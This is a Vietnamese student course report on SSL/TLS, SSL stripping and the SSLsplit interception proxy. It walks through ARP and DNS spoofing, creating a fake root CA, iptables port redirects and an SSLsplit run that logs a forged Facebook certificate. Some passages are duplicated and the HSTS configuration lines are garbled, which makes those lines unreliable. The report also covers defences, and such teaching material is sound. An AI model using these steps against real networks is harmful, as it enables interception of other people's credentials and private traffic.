Tải bản đầy đủ (.pdf) (33 trang)

AN TOÀN MẠNG Bài báo cáo cuối kỳ : Tìm hiểu Công cụ SSLsplit trên Kali Linux Cài đặt thử nghiệm công cụ SSLsplit Kali Linux

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (8.44 MB, 33 trang )

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THƠNG TIN

HỌC PHẦN: AN TỒN MẠNG
Bài báo cáo cuối kỳ :
Tìm hiểu Cơng cụ SSLsplit trên Kali Linux
Cài đặt thử nghiệm công cụ SSLsplit Kali Linux

Giảng viên hướng dẫn: TS. Đặng Minh Tuấn
Sinh viên thực hiện:
Trần Quang Thạo
Mã sinh viên:
B18DCAT238
Nhóm:
01

Hà Nội, tháng 12 năm 2021
1


MỤC LỤC
DANH MỤC TỪ VIẾT TẮT

3

DANH MỤC CÁC HÌNH VẼ

3

Lời Cảm Ơn


4

Chương I. Giới thiệu về SSL

5

1.

Tìm kiếm và khai thác các lỗ hổng của SSL

5

2.

Tổng quan về SSL

5

Chương II. Giới thiệu về SSLsplit

12

1.

Tổng quan về SSLsplit

12

2.


Yêu Cầu

13

3.

Cách hoạt động

13

4.

Màn hình giao diện

14

5.

Cài đặt và chạy SSLsplit

14

Phần 3. Các Lab demo

23

Lab 1 : Phân tách dữ liệu wifi bằng SSLsplit

23


Lab2: Xây dựng mơ hình ngầm phân tách VPN

26

Chương IV. Đánh giá – Kết luận

32

References

33

2


DANH MỤC TỪ VIẾT TẮT
Từ viết tắt
MITM

Thuật ngữ tiếng anh
Man in the Middle

DANH MỤC CÁC HÌNH VẼ
Hình 1: Mơ hình HTTP và HTTPS
Hình 2: Bắt lưu lượng mạng bằng SSLstrip
Hình 3: Dị và bắt lưu lượng HTTP
Hình 4: Mơ hình tấn cơng HTTP
Hình 5: Bảo vệ truy cập trong SSL
Hình 6: Mơ hình SSH Tunnel
Hình 7 : Các câu lệnh thực thi trong SSLsplit

Hình 8: Chặn bắt đăng nhập để lấy thơng tin đăng nhập trang google
Hình 9: Tên của tổ chức đơn vị phát hành CA thực
Hình 10: Chặn bắt lưu lượng truy cập tài khoản gmail
Hình 11: Trang chủ của wifi Pineapple
Hình 12: IP của máy được kết nối vào
Hình 14: Nhật ký thời gian thực hiện phân tách
Hình 15: Truy cập thiết bị dùng để liên kết
Hình 16: Thơng tin được chặn bắt và hiển thị
Hình 17: Trang login để vào trang chủ VPN
Hình 18: Các cổng kết nối
Hình 19: Chọn cổng kết nối 2
Hình 20: Chỉnh sửa mặt nạ AP và đặt mặt nạ mạng IP
Hình 21: Định người dùng khởi tạo người dùng mới
Hình 22: Danh sách người dùng
Hình 23: Danh sách các VPN hiện có
Hình 24: Chọn và đặt tên cho VPN
Hình 25: Cài đặt cấu hình SSL VPN
Hình 26: Thiết lập cổng 210 và cổng 443

3


Lời Cảm Ơn
Đầu tiên, em xin gửi lời cảm ơn chân thành đến Học viện Cơng nghệ Bưu
chính Viễn thơng đã đưa mơn học An Tồn Mạng vào chương trình dạy. Đặc biệt
em xin gửi lời cảm ơn Thầy Đặng Minh Tuấn đã hướng dẫn và truyền đạt kiến thức
cho em trong suốt thời gian học vừa qua. Thầy đã giúp em hiểu tầm quan trọng của
mơn An Tồn Mạng và cách áp dụng đó vào thực tiễn của chuyên ngành. Bên cạnh
đó thầy cịn chỉ dạy thêm nhiều kiến thức khác ngồi lề, có ích cho tất cả các ngành
trong trường. Mơn học này giúp em có thêm kiến thức chuyên môn về chuyên

ngành mà em đang học và kiến thức về việc làm một bài báo cáo tốt nghiệp điều
này là rất cần thiết đối với một sinh viên năm cuối như em.
Do vốn kiến thức còn nhiều hạn chế và khả năng tiếp thu thực tế còn nhiều
bỡ ngỡ. Bài báo cáo của em khó tránh khỏi nhiều thiếu sót và có nhiều chỗ chưa
chính xác, kính mong thầy xem xét và góp ý để bài báo cáo của em được hoàn thiện
hơn.
Lời cuối cùng, em xin kính chúc thầy ln khỏe mạnh, thành cơng và hạnh
phúc

Hà Nội, ngày 29 tháng 11 năm 2021
Sinh Viên
Trần Quang Thạo

4


Chương I. Giới thiệu về SSL
1. Tìm kiếm và khai thác các lỗ hổng của SSL
SSL là viết tắt của từ Secure Sockets Layer. SSL là tiêu chuẩn của công nghệ
bảo mật, truyền thơng mã hố giữa máy chủ Web server và trình duyệt. Tiêu chuẩn
này hoạt động và đảm bảo rằng các dữ liệu truyền tải giữa máy chủ và trình duyệt
của người dùng đều riêng tư và toàn vẹn. SSL hiện tại cũng là tiêu chuẩn bảo mật
cho hàng triệu website trên tồn thế giới, nó bảo vệ dữ liệu truyền đi trên mơi
trường internet được an tồn.
SSL đảm bảo rằng tất cả các dữ liệu được truyền giữa các máy chủ web và các
trình duyệt được mang tính riêng tư, tách rời.
SSL đảm bảo rằng tất cả các dữ liệu được truyền giữa các máy chủ web và các
trình duyệt được mang tính riêng tư, tách rời.
Sản phẩm lý tưởng dành cho các cổng thương mại điện tử. Mỗi e-store là
một sub-domain và được chia sẻ trên một hoặc nhiều địa chỉ IP. Khi đó, để triển

khai giải pháp bảo bảo mật giao dịch trực tuyến (đặt hàng, thanh toán, đăng ký &
đăng nhập tài khoản,…) bằng SSL, chúng ta có thể dùng duy nhất một chứng chỉ số
Wildcard cho tên miền chính của website và tất cả sub-domain.
Khi Website gởi cho trình duyệt một chứng chỉ SSL, Trình duyệt sẽ gởi
chứng chỉ này đến một máy chủ lưu trữ các chứng chỉ số đã được phê duyệt. Các
máy chủ này được thành lập bởi những cơng ty uy tín như GlobalSign, VeriSign.
2. Tổng quan về SSL
SSL hoặc Secure Sockets Layer là một giao thứcbảo mật Internet dựa
trên mã hóa. Nó được phát triển lần đầu tiên bởi Netscape vào năm 1995 với mục
đích đảm bảo quyền riêng tư, xác thực và tính tồn vẹn dữ liệu trong truyền thông
Internet. SSL là tiền thân của mã hóa TLS hiện đại được sử dụng ngày nay.bởi kỹ
thuật làm cho các trang web tải và thực thi các tập lệnh độc hại trong trình duyệt
thay vì đọc nội dung từ các khung liền kề nhau.

5


Hình 1: Mơ hình HTTP và HTTPS
Ban đầu, dữ liệu trên Web được truyền bằng văn bản đơn giản mà bất cứ ai
cũng có thể đọc nếu họ chặn tin nhắn. Ví dụ: nếu người tiêu dùng truy cập vào một
trang web mua sắm, đặt hàng và nhập số thẻ tín dụng của họ trên trang web, số thẻ
tín dụng đó sẽ đi qua Internet mà khơng bị cản trở.
SSL được tạo ra để khắc phục vấn đề này và bảo vệ quyền riêng tư của người
dùng. Bằng cách mã hóa bất kỳ dữ liệu nào đi giữa người dùng và máy chủ web,
SSL đảm bảo rằng bất kỳ ai chặn dữ liệu chỉ có thể nhìn thấy một mớ hỗn độn của
các ký tự. Số thẻ tín dụng của người tiêu dùng hiện đã an toàn, chỉ hiển thị trên
trang web mua sắm nơi họ nhập nó.
SSL cũng ngăn chặn một số loại tấn cơng mạng nhất định: Nó xác thực các
máy chủ web, điều này rất quan trọng vì những kẻ tấn cơng thường sẽ cố gắng thiết
lập các trang web giả mạo để lừa người dùng và đánh cắp dữ liệu. Nó cũng ngăn

chặn những kẻ tấn cơng giả mạo dữ liệu trong q trình vận chuyển, như con dấu
chống giả mạo trên thùng chứa thuốc.
SSL là tiền thân trực tiếp của một giao thức khác được gọi là TLS (Transport
Layer Security). Năm 1999, Lực lượng đặc nhiệm kỹ thuật Internet (IETF) đã đề
xuất một bản cập nhật cho SSL.Sự khác biệt giữa phiên bản cuối cùng của SSL
(3.0) và phiên bản đầu tiên của TLS không quyết liệt; việc thay đổi tên được áp
dụng để biểu thị sự thay đổi quyền sở hữu.
6


Ngày nay hầu hết các trang web sử dụng giao thức HTTPS an tồn đối với
thơng tin liên lạc giữa máy khách và máy chủ web, nhờ giao thức này sử dụng TLS
và các thuật toán mật mã được kết hợp trong đó, thơng tin liên lạc được mã hóa
điểm-tới-điểm, ngồi ra, tính xác thực của kết nối và thậm chí là tính tồn vẹn của
dữ liệu được kiểm tra, do đó tội phạm mạng khơng thể sửa đổi các gói một cách
nhanh chóng.
❖ Cuộc tấn cơng SSL:
Khi chúng tơi thực hiện một cuộc tấn công ARP Spooping và chúng tôi đặt
một máy đánh hơi để nắm bắt tất cả lưu lượng truy cập, những gì chúng tơi làm là
dung lượng tất cả lưu lượng mạng được tạo ra bởi một máy tính nhất định (nạn
nhân). Trong trường hợp bạn sử dụng các giao thức khơng an tồn như HTTP hoặc
FTP, có thể dễ dàng xem tất cả các thông tin liên lạc, thơng tin xác thực và thậm chí
cả cookie phiên của bạn.
Vì lý do này, rất nguy hiểm khi kết nối với nơi công cộng WiFi mạng hoặc
mạng không đáng tin cậy, bởi vì bất kỳ tội phạm mạng nào cũng có thể thực hiện
cuộc tấn công Man in the Middle này và nắm bắt tất cả thông tin.
Nếu chúng tôi sử dụng một giao thức an toàn như HTTPS, kẻ tấn cơng sẽ có
thể nắm bắt tất cả thơng tin mà khơng gặp vấn đề gì, tuy nhiên, hắn sẽ khơng thể
đọc bất kỳ nội dung nào của nó, tức là hắn sẽ không thể xem thông tin xác thực,
cookie phiên hoặc hồn tồn khơng có gì, bởi vì tất cả lưu lượng truy cập được mã

hóa end-to-end (từ máy khách đến máy chủ web).
❖ Ví dụ về tấn cơng SSL Stripping:
Các cuộc tấn công SSL Strippping bao gồm thiết lập proxy HTTP / HTTPS
để “nâng” giao thức HTTPS được mã hóa này và nạn nhân sử dụng giao thức
HTTP để có thể nắm bắt tất cả thơng tin và xem dữ liệu bên trong.
❖ Quy trình sẽ phải được thực hiện để vi phạm kết nối HTTPS sẽ như sau:
Thực hiện một cuộc tấn công Giả mạo ARP đối với nạn nhân để chuyển
tiếp tất cả lưu lượng mạng cho chúng tơi trước khi chuyển nó đến bộ định tuyến,
bằng cách này, chúng tôi sẽ nắm bắt tất cả thông tin mà nạn nhân này gửi và nhận.
Chúng tôi đặt máy đánh hơi hoạt động Ví dụ, WireShark là một lựa chọn
rất tốt, nó là một trong những phần mềm hồn chỉnh và dễ sử dụng nhất, và nó hồn
tồn miễn phí.
Kiểm tra xem chúng tơi có đang nắm bắt tất cả không lưu lượng truy cập
của nạn nhân, bằng cách này, chúng tơi sẽ đảm bảo rằng ARP Spoofing và trình
đánh hơi đang hoạt động chính xác. Trong trường hợp này, chắc chắn chúng ta chỉ
7


có thể thấy DNS, ICMP và các lưu lượng khác ở dạng văn bản rõ ràng, nhưng
không thấy lưu lượng HTTPS vì nó được mã hóa end-to-end.

Hình 2: Bắt lưu lượng mạng bằng SSLstrip
Khi chúng ta đã thực hiện ba bước này, những gì chúng ta phải làm là định
cấu hình proxy HTTP / HTTPS sử dụng các cơng cụ miễn phí, chẳng hạn như
Bettercap là công cụ tốt nhất mà chúng tơi có thể sử dụng để thực hiện kiểu tấn
cơng này. Khi chúng tơi đã định cấu hình proxy HTTP / HTTPS này, những gì sẽ
xảy ra sẽ như sau:
- Trình dị ​tìm mạng mà chúng tơi đã kích hoạt trước đó sẽ nắm bắt tất cả
lưu lượng HTTP và hiển thị cho chúng tôi bằng văn bản rõ ràng thông tin
đăng nhập của người dùng, cookie phiên và mọi thứ nạn nhân đang làm.


8


Hình 3: Dị và bắt lưu lượng HTTP
Như bạn có thể thấy, khả năng thực hiện một cuộc tấn công tước SSL có sẵn
cho tất cả mọi người sử dụng các cơng cụ miễn phí như Bettercap cho Linux.Trên
thực tế, trong bài viết này, bạn có một hướng dẫn đầy đủ để bạn thực hiện kiểm tra
bảo mật và kiểm tra xem một mục tiêu nhất định có thể sử dụng nó để chống lại
chúng tơi hay chúng tơi được bảo vệ trước kiểu tấn cơng này.
❖ Cách phịng chống
● Loại tấn công này được sử dụng rộng rãi bởi tội phạm mạng để lấy tất
cả lưu lượng truy cập của nạn nhân, đặc biệt là trong các mạng công
cộng, cho dù đó là mạng có dây hay mạng WiFi cơng cộng.
● Tuy nhiên, nếu ai đó có thể xâm nhập vào mạng WiFi của chúng tôi,
chúng tôi sẽ ở trong cùng một kịch bản: chúng tôi đang ở trên cùng
một mạng cục bộ với tội phạm mạng, chúng có thể khiến chúng tôi trở
thành một cuộc tấn công ARP Spoofing và cũng là một cuộc tấn công
SSL Stripping.
● Cuộc tấn công SSL Stripping này không thể ngăn chúng thực hiện
điều đó với chúng ta nếu chúng ta đang ở trên cùng một mạng cục bộ
với kẻ tấn công, nhưng những gì chúng ta có thể làm là ngăn nó hoạt
động hiệu quả, tức là không thể "nâng" kết nối HTTPS.
Rằng web đã bật HSTS
Cuộc tấn công SSL Stripping này không thể ngăn chúng thực hiện
điều đó với chúng ta nếu chúng ta đang ở trên cùng một mạng cục bộ
với kẻ tấn cơng, nhưng những gì chúng ta có thể làm là ngăn nó hoạt
động hiệu quả, tức là khơng thể "nâng" kết nối HTTPS, để tính bảo
mật sẽ tiếp tục được duy trì và chúng tơi sẽ có thể điều hướng một
cách an tồn.


Hình 4: Mơ hình tấn cơng HTTP
9


● Ngày nay, nhiều máy chủ web của các trang web khác nhau được định
cấu hình chính xác với chính sách bảo mật này, để bảo vệ người dùng
của họ. Các cookie này được lưu trữ trong trình duyệt web của khách
hàng sẽ hết hạn, tuy nhiên, điều cần làm là đặt thời hạn đó là tối đa
(một năm), để bảo vệ khách hàng lâu nhất có thể.
● Phần tiêu cực của HSTS là, nếu đây là lần đầu tiên chúng tôi truy cập
một trang web và họ thực hiện tước SSL, tính năng này sẽ khơng thể
bảo vệ chúng tôi. Việc bảo vệ là từ lần truy cập thứ hai vì cookie sẽ đã
được tải xuống, trừ khi chúng tơi có danh sách các trang web được tải
trước trong trình duyệt web của mình, như xảy ra với các “trang web
lớn” như Google và các dịch vụ khác.

Hình 5: Bảo vệ truy cập trong SSL
● Trong máy chủ web Apache, chúng tôi sẽ phải kết hợp lệnh sau:
Header luôn đặt «max-age = 31536000; includeSubDomains »
● Trong máy chủ web Nginx, chúng tơi sẽ phải kết hợp lệnh sau:
add_header «max-age = 31536000;
❖ Sử dụng VPN
● Một phương pháp khác để tránh kiểu tấn công này vào các kết nối HTTPS là
sử dụng VPN dịch vụ. Mạng riêng ảo hoặc VPN chịu trách nhiệm mã hóa tất
cả các thơng tin liên lạc điểm-điểm trong một đường hầm, do đó, kẻ tấn cơng
biến chúng tôi thành một cuộc tấn công ARP Spoofing và đặt một kẻ dị tìm,
sẽ chỉ nhìn thấy tất cả lưu lượng được mã hóa, anh ta khơng thể nhìn thấy bất
10



kỳ giao thức bổ sung, vì độ phân giải DNS cũng đi bên trong đường hầm
VPN.
● Có thể tội phạm mạng cố gắng “ném” đường hầm VPN này, trên thực tế, hắn
có thể đạt được nó bằng cách chèn các gói và làm cho dịch vụ VPN ngừng
hoạt động để bảo mật, tuy nhiên, chúng ta phải nhớ rằng VPN có một tính
năng gọi là Kill-Switch.
● Chức năng Kill-switch cho phép bạn chặn hoàn toàn lưu lượng truy cập
Internet trong trường hợp đường hầm VPN bị đổ hoặc có sự cố nào đó, bằng
cách này, chúng tơi sẽ đảm bảo rằng dữ liệu của chúng tôi không bị lọc và
chúng không thể tạo cho chúng tôi bất kỳ loại nào khác của các cuộc tấn
công. Luôn luôn tốt hơn nếu ở lại mà khơng có kết nối Internet hơn là bị
đánh cắp thông tin.
- Thực hiện một đường truyền SSH
● Một cách khác để bảo vệ bạn trước các cuộc tấn công SSL Stripping là thực
hiện một đường hầm SSH với sự chuyển hướng của lưu lượng truy cập. Kỹ
thuật này bao gồm kết nối với máy chủ SSH từ xa được tin cậy và thiết lập
proxy SOCKS để cấu hình sau này trong trình duyệt web.
● Bằng cách này, chúng tôi sẽ chuyển hướng lưu lượng truy cập của trình duyệt
web thơng qua máy chủ SSH mà chúng tơi đã kết nối. Để làm như vậy,
chúng ta phải làm theo các bước sau:
o Định cấu hình máy chủ SSH theo cách an toàn, thay đổi cổng, xác thực
tốt và bộ mật mã tốt.
o Định cấu hình máy chủ SSH này trong các chương trình như PuTTY và
cho phép chuyển tiếp hoặc chuyển tiếp, trong một proxy SOCKS5 cụ thể.

Hình 6: Mơ hình SSH Tunnel

11



Chương II. Giới thiệu về SSLsplit
1. Tổng quan về SSLsplit
SSLsplit là một proxy TLS / SSL trong suốt chung để thực hiện các cuộc tấn
công man-in-the-middle trên tất cả các loại giao thức giao tiếp an toàn. Sử dụng
SSLsplit, người ta có thể chặn và lưu lưu lượng truy cập dựa trên SSL và do đó
lắng nghe bất kỳ kết nối an toàn nào.
SSLsplit được thiết kế để chấm dứt minh bạch các kết nối được chuyển
hướng đến nó bằng cách sử dụng công cụ dịch địa chỉ mạng. SSLsplit sau đó chấm
dứt SSL /TLS và bắt đầu kết nối SSL / TLS mới với địa chỉ đích ban đầu, đồng thời
ghi nhật ký tất cả dữ liệu được truyền.
Bên cạnh hoạt động dựa trên NAT, SSLsplit cũng hỗ trợ các điểm đến tĩnh và
sử dụng tên máy chủ được SNI chỉ định là điểm đến thượng nguồn. SSLsplit hoàn
toàn là một proxy trong suốt và không thể hoạt động như một proxy HTTP hoặc
SOCKS được cấu hình trong trình duyệt.
SSLsplit hỗ trợ các kết nối TCP, SSL, HTTP và HTTPS đơn giản trên cả
IPv4 và IPv6. Nó cũng có khả năng tự động nâng cấp TCP đơn giản lên SSL để hỗ
trợ chung SMTP STARTTLS và các cơ chế nâng cấp tương tự. SSLsplit hỗ trợ đầy
đủ Chỉ dẫn tên Máy chủ (SNI) và có thể làm việc với các phím RSA, DSA và
ECDSA và các bộ mật mã DHE và ECDHE. Tùy thuộc vào phiên bản OpenSSL
được xây dựng chống lại, SSLsplit hỗ trợ SSL 3.0, TLS 1.0, TLS 1.1 và TLS 1.2 và
tùy chọn SSL 2.0.
Đối với các kết nối SSL và HTTPS, SSLsplit tạo và ký chứng chỉ X509v3
giả mạo khi đang bay, bắt chước chủ đề dn của chứng chỉ máy chủ gốc, phần mở
rộng subjectAltName và các đặc điểm khác.
SSLsplit có khả năng sử dụng các chứng chỉ hiện có mà khóa riêng có sẵn,
thay vì tạo ra các chứng chỉ giả mạo. SSLsplit hỗ trợ chứng chỉ CN tiền tố NULL
nhưng nếu không không thực hiện khai thác đối với các lỗ hổng xác minh chứng
chỉ cụ thể trong ngăn xếp SSL / TLS.
SSLsplit thực hiện một số biện pháp phòng thủ chống lại các cơ chế thường

sẽ ngăn chặn các cuộc tấn cơng MitM hoặc làm cho chúng khó khăn hơn.
SSLsplit có thể từ chối các yêu cầu OCSP một cách chung chung. Đối với
các kết nối HTTP và HTTPS, SSLsplit mangles tiêu đề để ngăn chặn ghim khóa
cơng khai do máy chủ hướng dẫn (HPKP), tránh các hạn chế bảo mật giao thông
nghiêm ngặt (HSTS), tránh thực thi Chứng nhận minh bạch (Mong đợi-CT) và
ngăn chặn chuyển sang QUIC / SPDY, HTTP / 2 hoặc WebSockets (Nâng cấp,
12


Giao thức thay thế). Nén HTTP, mã hóa và giữ sống bị vơ hiệu hóa để làm cho các
bản ghi dễ đọc hơn.
Các tùy chọn ghi nhật ký bao gồm các tệp kết nối SSLsplit truyền thống và
tệp nhật ký nội dung cũng như các tệp PCAP và phản ánh lưu lượng truy cập được
giải mã đến giao diện mạng. Ngồi ra, chứng chỉ, bí mật chính và thơng tin quy
trình địa phương có thể được ghi lại
2. u Cầu
SSLsplit phụ thuộc vào các thư viện OpenSSL, libevent 2.x, libpcap và libnet 1.1.x
theo mặc định; libpcap và libnet là không cần thiết nếu tính năng phản chiếu bị bỏ
qua. Bản dựng phụ thuộc vào việc GNU thực hiện và môi trường POSIX.2 trong .
Nếu có, pkg-config được sử dụng để xác định vị trí và cấu hình các phụ thuộc. Các
bài kiểm tra đơn vị tùy chọn phụ thuộc vào thư viện kiểm tra.PATH
SSLsplit hiện đang hỗ trợ các hệ điều hành và cơ chế NAT sau:





FreeBSD: pf rdr và divert-to, ipfw fwd, ipfilter rdr
OpenBSD: pf rdr-to và divert-to
Linux: netfilter REDIRECT và TPROXY

Linux: netfilter REDIRECT và TPROXY

Hỗ trợ thông tin quy trình cục bộ () hiện có sẵn trên Mac OS X và FreeBSD.-i
Các tính năng và khả năng tương thích SSL / TLS phụ thuộc rất nhiều vào phiên
bản OpenSSL được liên kết. Để có kết quả tối ưu, hãy sử dụng bản phát hành
OpenSSL hoặc LibreSSL gần đây.
3. Cách hoạt động
SSLsplit hoạt động khá giống với các công cụ proxy SSL trong suốt khác:
Nó hoạt động như một người trung gian giữa khách hàng và máy chủ thực tế. Với
điều kiện lưu lượng truy cập đang được chuyển hướng đến máy chủ mà SSLsplit
đang chạy (bằng cách thay đổi cổng mặc định, giả mạo ARP hoặc các phương tiện
khác, xem bên dưới) SSLsplit chọn kết nối SSL và giả vờ là máy chủ mà máy
khách đang kết nối.
Để làm như vậy, nó tự động tạo ra một chứng chỉ và ký nó bằng khóa riêng
của chứng chỉ CA mà khách hàng phải tin tưởng.
Ví dụ: nếu khách hàng muốn gửi e-mail bằng máy chủ Gmail SMTP an toàn
(smtp.gmail.com trên cổng 465), SSLsplit tạo chứng chỉ cho "smtp.gmail.com" và
do đó giả vờ là máy chủ thư Gmail đối với khách hàng.
13


Theo hướng ngược dòng (hướng tới máy chủ thư Gmail thực tế), SSLsplit
kết nối với máy chủ giống như một máy khách bình thường - chuyển tiếp tất cả lưu
lượng truy cập mà máy khách thực tế viết trên ổ cắm SSL.
Nếu bạn quan tâm đến một chút chi tiết, vui lịng kiểm tra phần "Nó hoạt
động như thế nào" của bài đăng về chặn HTTPS với mitmproxy. Khái niệm cơ bản
là như nhau, vì vậy nó phải tương đối dễ hiểu.
4. Màn hình giao diện
SSLsplit hỗ trợ giao diện console giúp thao tác nhanh qua các câu lệnh:


Hình 7 : Các câu lệnh thực thi trong SSLsplit
Ngồi ra cịn hỗ trợ thêm giao diện GUI giúp tương tác với công cụ một cách trực
quan, dễ hiểu hơn.
5. Cài đặt và chạy SSLsplit
a. Chuyển hướng lưu lượng truy cập
● Hướng dẫn này giả định rằng bạn đã đặt hệ thống kẻ tấn cơng của mình ở
đâu đó giữa máy nạn nhân và máy chủ. Điều này có thể được thực hiện theo
nhiều cách khác nhau - đây là một số ví dụ:
o Sử dụng giả mạo ARP để chuyển hướng lưu lượng truy cập của nạn
nhân bằng cách xuất bản bản đồ sai từ địa chỉ MAC cổng tiêu chuẩn
đến địa chỉ IP của kẻ tấn công. Bạn không cần truy cập vật lý vào
thiết bị của nạn nhân để làm điều đó. Kiểm tra cơng cụ arpspoof.
14


o Sử dụng giả mạo ARP để chuyển hướng lưu lượng truy cập của nạn
nhân bằng cách xuất bản bản đồ sai từ địa chỉ MAC cổng tiêu chuẩn
đến địa chỉ IP của kẻ tấn công. Bạn không cần truy cập vật lý vào
thiết bị của nạn nhân để làm điều đó. Kiểm tra công cụ arpspoof.
o Giả các mục DNS với máy chủ DNS trả về địa chỉ IP của kẻ tấn công
cho một số (hoặc tất cả) tên miền nhất định. Xem hướng dẫn của tơi
về giả mạo DNS với Dnsmasq để tìm hiểu cách làm điều đó.
o Chuyển hướng lưu lượng truy cập cho các tên miền riêng lẻ bằng
cách sửa đổi các mục trong tệp /etc / máy chủ của máy của nạn nhân.
● Như đã đề cập ở trên, cách dễ nhất là chỉ cần thay đổi địa chỉ cổng mặc định
trong thiết bị của nạn nhân thành địa chỉ IP của kẻ tấn cơng. Điều đó đảm
bảo rằng tất cả lưu lượng truy cập đi qua máy của bạn. Và vì sau này chúng
tôi cần cài đặt chứng chỉ CA, dù sao chúng tôi cũng cần truy cập vật lý vào
máy của nạn nhân.
❖ Cài đặt

● Hiện tại, khơng có gói Debian nào trong kho lưu trữ cho SSLsplit. Mã được
lưu trữ trên các gương khác nhau, được quản lý bởi tác giả Daniel
Roethlisberger,cũng như trên Github.
● Để tải xuống và biên dịch SSLsplit, hãy chạy các lệnh sau:
o wget />o bunzip2 sslsplit-0.4.7.tar.bz2  
o tar xvf sslsplit-0.4.7.tar  
o cd sslsplit-0.4.7
o apt-get install libssl-dev libevent-dev
o make
o mkdir /tmp/sslsplit
● Các lệnh này tải xuống và trích xuất mã nguồn(wget, bunzip2, tar),cài đặt
các phụ thuộc cần thiết(apt-get),và sau đó biên dịch nó bằng cách sử
dụng make.
● Thư mục tạm thời được tạo tại /tmp / sslsplit sau đó được sử dụng để đổ tệp
nhật ký kết nối và dữ liệu thô của các ổ cắm SSL đến và đi.
❖ Tạo và cài đặt chứng chỉ CA gốc
● Để SSLsplit hoạt động như một người trung gian cho các kết nối SSL, nó
cần có khả năng tạo và ký các chứng chỉ mà nạn nhân tin tưởng. Để làm như
vậy, nạn nhân phải có chứng chỉ CA gốc của kẻ tấn công trong cửa hàng ủy
thác của mình. Tùy thuộc vào loại máy khách (trình duyệt máy tính để bàn,
điện thoại di động), cài đặt chứng chỉ gốc khác nhau một chút (xem ở đây
cho Firefox, Windows, Android,...)
15


● Nếu bạn chưa có khóa và chứng chỉ riêng CA tự ký, bạn có thể tạo khóa
riêng bằng các lệnh sau:
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
Lệnh đầu tiên tạo khóa riêng RSA 4096 bit ở định dạng

PEM(ca.key),và lệnh thứ hai sử dụng khóa riêng này để tạo
chứng chỉ CA gốc tự ký(ca.crt). 
❖ Bật chuyển tiếp IP và công cụ NAT (iptables)
● Trong ví dụ này, SSLsplit sẽ chạy trên hai cổng: 8080 cho các kết nối TCP
không SSL như HTTP, SMTP hoặc FTP và 8443 cho các kết nối SSL như
SMTP qua SSL, HTTPS, v.v. Để chuyển tiếp các gói đến máy của kẻ tấn
công đến các cổng nội bộ này, động cơ NAT trong iptables có thể được sử
dụng.
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j
REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j
REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j
REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j
REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j
REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j
REDIRECT --to-ports 8080
● Các lệnh trên trước tiên cho phép chuyển tiếp IP (sysctl ...) để kích hoạt
chức năng bộ định tuyến của hệ thống. Sau khi chạy lệnh này, Linux sẽ
chuyển tiếp các gói IP khơng dành cho máy cục bộ đến cổng tiêu chuẩn /
mặc định của nó, do đó hoạt động như một bộ định tuyến.
● Để ngăn Linux chuyển tiếp mọi thứ ngay lập tức, các quy tắc NAT có thể
được xác định. Trong ví dụ này, một số gói nhất định được chuyển hướng
đến cảng địa phương 8080 và 8443. Các gói cho lưu lượng văn bản thuần
túy trên các cổng HTTP (80) và WhatsApp (5222) được chuyển hướng đến

cổng 8080 và các gói lưu lượng truy cập dựa trên SSL trên các cổng HTTPS
(443), IMAP qua SSL (993), SMTP qua SSL (465 và 587) được chuyển
hướng đến cổng 8443.
16


❖ Chạy SSLsplit
● Khi chuyển tiếp IP đang hoạt động và các gói đang được chuyển tiếp đến
các cổng có liên quan, bạn có thể bắt đầu SSLsplit. Điều đó nghe có vẻ dễ
dàng hơn thực tế, bởi vì SSLsplit là một cơng cụ rất mạnh mẽ và do đó rất
linh hoạt
● Đối với trường hợp sử dụng được mô tả ở trên, một cấu hình tham số hợp lý
sẽ là một cái gì đó như thế này:
./sslsplit
  -D
  -l connections.log
  -j /tmp/sslsplit/
  -S logdir/
  -k ca.key
  -c ca.cer
   ssl 0.0.0.0 8443
   tcp 0.0.0.0 8080
SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIAT
ION SSL_OP_TLS_ROLLBACK_BUG
compiled against libevent 2.0.19-stable
rtlinked against libevent 2.0.19-stable
4 CPU cores detected
proxyspecs:
- [0.0.0.0]:8080 tcp plain netfilter
- [0.0.0.0]:8443 ssl plain netfilter

Loaded CA: '/C=DE/ST=HE/O=Fake CA Certificate/CN=Fake
CA Certificate'
Using libevent backend 'epoll'
Event base supports: edge yes, O(1) yes, anyfd no
Inserted events:
  0x94b380 [fd 7] Read Persist
  0x94ba40 [fd 8] Read Persist
  0x94d4c0 [fd 9] Read Persist
  0x94b1b8 [fd 6] Read Persist
  0x94d550 [fd 3] Signal Persist
  0x94d7b0 [fd 1] Signal Persist
  0x94d920 [fd 2] Signal Persist
  0x94da90 [fd 13] Signal Persist
Started 8 connection handling threads
Starting main event loop.
17


SNI peek: [www.facebook.com] [complete]
Connecting to [31.13.81.33]:443
===> Original server certificate:
Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook,
Inc./CN=*.facebook.com
Common
Names:
*.facebook.com/*.facebook.com/facebook.com
Fingerprint:
f5:6b:f2:44:63:b0:bd:61:36:c5:e8:72:34:6b:32:04:28:ff:4d:7c
Certificate cache: MISS
===> Forged server certificate:

Subject DN: /C=US/ST=California/L=Palo Alto/O=Facebook,
Inc./CN=*.facebook.com
Common
Names:
*.facebook.com/*.facebook.com/facebook.com
Fingerprint:
54:de:df:bb:30:95:36:57:c9:11:8d:5f:1f:b6:53:cc:0e:12:e5:b3
ssl
[192.168.178.20]:39447
[31.13.81.33]:443
sni:www.facebook.com
crt:*.facebook.com/*.facebook.com/facebook.com
origcrt:*.facebook.com/*.facebook.com/facebook.com
...
● Ngoài đầu ra bảng điều khiển, SSLsplit sẽ viết các cuộc hội thoại ổ cắm
TCP vào các thư mục nhật ký được đề cập ở trên. Sau khi chạy SSLsplit
trong một thời gian, sẽ có khá nhiều tệp trong thư mục nhật ký - một cho
mỗi kết nối hoặc ổ cắm TCP giữa máy khách và máy chủ:
